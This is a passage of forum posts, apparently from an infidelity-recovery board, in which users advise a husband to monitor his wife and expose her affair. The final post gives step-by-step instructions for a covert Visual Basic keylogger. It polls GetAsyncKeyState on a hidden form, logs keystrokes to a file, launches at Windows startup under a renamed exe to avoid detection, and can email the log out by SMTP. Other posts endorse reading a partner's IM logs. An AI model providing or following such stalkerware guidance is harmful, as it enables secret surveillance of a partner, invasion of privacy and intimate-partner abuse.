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There are many things to do if you discover that they are still in contact besides saying it is over. That is what MB is all about. Have you exposed her adultery to her family? How bout his? Aren't you her to find out how to save your M? As long as you continue to keep her secrets she will suffer no consequences.  MOST waywards slip up a time or two after NC is established. To stomp out and say "It's over" because of renewed contact is, IMO, premature. Now the 3rd and 4th time, sure. But once? Nuclear exposure is your friend if you see any sign of ongoing contact. I agree with you there. I'm not ready to expose this to her family, but if, through the keylogger, I find out that there is still contact, then I will be more open to exposing it to her family.
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That could be true, but I doubt that. The one time that I know he came to visit was on a bus and I found out through an IM log. The IM log suggested that it wasn't a common occurence, and it's much less likely that he would be able to afford constant trips here than WW being able to afford constant trips there. Bingo! We all know what he got when he arrived....right?
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The one time that I know he came to visit was on a bus and I found out through an IM log. The IM log suggested that it wasn't a common occurence, and it's much less likely that he would be able to afford constant trips here than WW being able to afford constant trips there. OK, this is what I was afraid of for you, that there was still an ongoing PA during the last two years. Why do you think he would come for a visit and it would be kept secret from you??? If you still have doubts they were phyiscal since you have moved, you could ask your W to take a polygraph.
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AH:
I am a programmer too (30 years). If money is tight then you may want to create a Key-logging program yourself. I spent a few hours years ago and threw a quick on together. I created one that captures keystrokes into a text file.
Simple, effective and free. Let me know and I can send you the code. It is as simple as this.
1) Add Declare reference:
GetAsyncKeyState Lib "User32" (ByVal vKey As KeyCodeConstants) As Long
2) Add Form which will he hidden and contains a Timer control.
3) Add code to capture key strokes in Timer events:
result = GetAsyncKeyState(i)
4) Add code to write the above to Text file.
5) Run exe from Windows start. Rename exe to look like any old file running.
Of course you could add code to e-mail this file at predefined times in the background (STMP). You could also add code to capture Mouse-clicks but that seems like a waste of time!
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